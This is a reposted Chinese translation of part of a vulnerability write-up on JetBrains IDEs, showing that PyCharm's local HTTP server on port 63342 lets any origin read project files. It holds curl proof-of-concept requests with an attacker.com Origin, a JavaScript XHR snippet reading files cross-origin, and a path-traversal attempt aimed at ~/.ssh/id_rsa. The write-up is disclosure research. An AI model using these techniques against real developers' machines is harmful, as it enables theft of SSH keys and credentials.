IT学习网 - 爱学习 - 最具影响力综合资讯网站 -- 中国IT界的领航者!
热门关键字:      88888  as  xxx
站外
广告
站外
广告

JetBrains IDE 远程代码执行和本地文件泄露 - 安全客 - 有思想的安全新媒体(2)

发布时间:2016-08-19 08:52文章来源:网络整理文章作者: 学习网点击次数:
$curl-v-HOrigin:http://attacker.com/http://127.0.0.1:63342/GET/HTTP/1.1Host:127.0.0.1:63342User-Agent:curl/7.43.0Accept:*/*Origin:http://attacker.com/HTTP/1.1404NotFound[...]access-control-allow-orig

$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/"
> GET / HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
> 
< HTTP/1.1 404 Not Found
[...]
< access-control-allow-origin: http://attacker.com/
< vary: origin
< access-control-allow-credentials: true
< access-control-allow-headers: authorization
< access-control-allow-headers: origin
< access-control-allow-headers: content-type
< access-control-allow-headers: accept
< 
* Connection #0 to host 127.0.0.1 left intact
<!doctype html><title>404 Not Found</title><h1 style="text-align: center">404 Not Found</h1><hr/><p style="text-align: center">PyCharm 5.0.4</p>

这里有一些异常。PyCharm 的 HTTP 服务器的基本意思就是允许 web 页面上任何来源 (包括 http://attacker.com) 提出资质请求,并读取响应。那到底什么是HTTP服务器呢?它是否会含有敏感信息?如果任何页面都能读取它的内容我们该怎么办?


什么是HTTP服务器?



在查找网页对应的端口号之后我们发现,服务器和Webstorm在2013年初新添加的新功能有关。功能理念就是用户不需要设置自己的web服务器在浏览器中预览网页,只要在Webstorm中单击“在浏览器中查看”这个按钮就可以在http://localhost:63342/<projectname>/<your_file.html>中进行查看。其中包含的任何脚本或者页面都可以通过类似的链接(http://localhost:63342/<projectname>/some_script.js)呈现。

要验证 PyCharm 嵌入的服务器是否与 WebStorm 类似,让我们在 PyCharm创建一个名为"测试" 的项目,并在根目录中创建一个名为"something.txt"的文件。

$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/testing/something.txt"
> GET /testing/something.txt HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
> 
< HTTP/1.1 200 OK
[...]
< access-control-allow-origin: http://attacker.com/
[...]
these are the file contents!

所以我们发现,所有的站点只要能猜到项目名称和文件名,就可以读取任何项目文件。很显然这其中将包括任何配置文件包,其中会含有AWS密钥等敏感信息。这里就是一个HTML片段:

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:63342/testing/something.txt", true);
xhr.onload = function() {alert(xhr.responseText)};
xhr.send();
</script>


武器化——从项目目录中逃逸


我们先看一下是否可以读取项目目录以外的文件,比如说SSH密钥。最明显的就是看一下它是如何处理URI请求的:

$ curl -v "http://localhost:63342/testing/../../../.ssh/id_rsa"
* Rebuilt URL to: http://localhost:63342/.ssh/id_rsa


可以看出每段路径都必须由客户端或是服务器进行规范化处理。幸运的是,PyCharm 的内部 HTTP 服务器使用的是%2F..%2F这样的点段。


JetBrains IDE 远程代码执行和本地文件泄露 - 安全客 - 有思想的安全新媒体(2)
本文由 IT学习网 整理,转载请注明“转自IT学习网”,并附上链接。
原文链接:http://www.ourlove520.com/Article/others/jiami/411978.html

标签分类:

JetBrain
上一篇:上一篇:使用EVENTVWR.EXE和注册表劫持实现“无文件”UAC绕过 - 安全客 - 有思想的安全新媒体
下一篇: 下一篇:Address Sanitizer in macOS - 安全客 - 有思想的安全新媒体
无觅关联推荐,快速提升流量